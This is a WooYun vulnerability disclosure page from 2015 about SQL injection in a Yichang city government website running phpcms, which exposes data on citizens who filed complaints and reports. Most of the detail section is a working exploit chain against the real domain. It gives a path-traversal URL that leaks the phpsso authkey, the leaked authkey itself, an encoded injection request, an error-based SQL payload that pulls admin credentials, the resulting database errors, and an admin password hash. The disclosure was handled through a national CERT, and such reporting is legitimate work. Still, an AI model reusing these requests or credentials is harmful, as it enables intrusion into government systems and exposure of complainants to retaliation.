当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0128740

漏洞标题:宜昌市某政务网站存在sql注入漏洞 领导信箱 政策咨询 投诉举报人的详细信息可见

相关厂商:cncert国家互联网应急中心

漏洞作者: zj713

提交时间:2015-07-24 20:07

修复时间:2015-09-12 09:30

公开时间:2015-09-12 09:30

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:8

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-07-24: 细节已通知厂商并且等待厂商处理中
2015-07-29: 厂商已经确认,细节仅向厂商公开
2015-08-08: 细节向核心白帽子及相关领域专家公开
2015-08-18: 细节向普通白帽子公开
2015-08-28: 细节向实习白帽子公开
2015-09-12: 细节向公众公开

简要描述:

宜昌市某政务网站存在sql注入漏洞 领导信箱 政策咨询 投诉举报人的详细信息可以看到。有可能投诉人被打击报复。phpcms官网都打补丁这么久了,你们都没人修不升级??本地中转一下,很多表就出来了。

详细说明:

宜昌市某政务网站存在sql注入漏洞 领导信箱 政策咨询 投诉举报人的详细信息可以看到。有可能投诉人被打击报复。看这里http://xxgk.yckfq.gov.cn/index.php?m=zwhd&c=index&a=zmhd_register&siteid=1&mktype=4 同一个库
#admin:e1b4e15af3984ae36808eb1a4c81781a#
账号密码作为证明
http://www.yckfq.gov.cn/api.php?op=get_menu&act=ajax_getlist&callback=ceshi&parentid=0&key=authkey&cachefile=..\..\..\phpsso_server\caches\caches_admin\caches_data\applist&path=admin
得到authkey之后可以注入。。 phpcms官网都打补丁这么久了,你们都没人修不升级??
u6Xi1gLgPbQVrUSTigGUhnqLg97fsi99
http://www.yckfq.gov.cn/api.php?op=phpsso&code=9a67AwEHAwIBVAUBBQ9WBlpdA1UBVVBSUVdSXVcEAkQIXV4OQk5dXl4DXF8TTFpWBB4SVwtVSkMACQQHQUVQEAdAX14ZRFZeVAdBEVZWRlxNERgfSVINXgYEFUwdFgRcBFFEExlEVl5UB0ERHWp2fnx6ZhYBWBFEDAsCEBUGDl4CU0QbAU8BAR0RRlRHV1JfXBUCTlZQTkAEFhITWhcFHFFKAgAYF3VgfikVFmpYV19QVxJaDFwLREVVTVUcTEFWE11dE1hZVV1DCVRFXFZdbUpaWlMIUExEBAcNAUZFDVkMW0QTARsCGx0CWV5aSxtAWFdWHlUYSAJMTBlEUxcOXUFbXlVeRV5TRQ1aX2pKUFpcVFMYEVAAXAAWQQNHChRAQVBJE0keUhsS
MySQL Query : SELECT * FROM `newcms`.`new_member` WHERE `phpssouid` = '' and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM '_admin limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#' LIMIT 1
MySQL Error : You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''_admin limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x' at line 1
MySQL Errno : 1064
Message : You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''_admin limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x' at line 1
Need Help?

漏洞证明:

宜昌市某政务网站存在sql注入漏洞 领导信箱 政策咨询 投诉举报人的详细信息可以看到。有可能投诉人被打击报复。
http://www.yckfq.gov.cn/api.php?op=get_menu&act=ajax_getlist&callback=ceshi&parentid=0&key=authkey&cachefile=..\..\..\phpsso_server\caches\caches_admin\caches_data\applist&path=admin
得到authkey之后可以注入。。 phpcms官网都打补丁这么久了,你们都没人修不升级??
u6Xi1gLgPbQVrUSTigGUhnqLg97fsi99
http://www.yckfq.gov.cn/api.php?op=phpsso&code=9a67AwEHAwIBVAUBBQ9WBlpdA1UBVVBSUVdSXVcEAkQIXV4OQk5dXl4DXF8TTFpWBB4SVwtVSkMACQQHQUVQEAdAX14ZRFZeVAdBEVZWRlxNERgfSVINXgYEFUwdFgRcBFFEExlEVl5UB0ERHWp2fnx6ZhYBWBFEDAsCEBUGDl4CU0QbAU8BAR0RRlRHV1JfXBUCTlZQTkAEFhITWhcFHFFKAgAYF3VgfikVFmpYV19QVxJaDFwLREVVTVUcTEFWE11dE1hZVV1DCVRFXFZdbUpaWlMIUExEBAcNAUZFDVkMW0QTARsCGx0CWV5aSxtAWFdWHlUYSAJMTBlEUxcOXUFbXlVeRV5TRQ1aX2pKUFpcVFMYEVAAXAAWQQNHChRAQVBJE0keUhsS
MySQL Query : SELECT * FROM `newcms`.`new_member` WHERE `phpssouid` = '' and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM '_admin limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#' LIMIT 1
MySQL Error : You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''_admin limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x' at line 1
MySQL Errno : 1064
Message : You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''_admin limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x' at line 1
Need Help?

修复方案:

升级吧啊。。 又不费事。

版权声明:转载请注明来源 zj713@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:8

确认时间:2015-07-29 09:29

厂商回复:

最新状态:

暂无


漏洞评价:

评论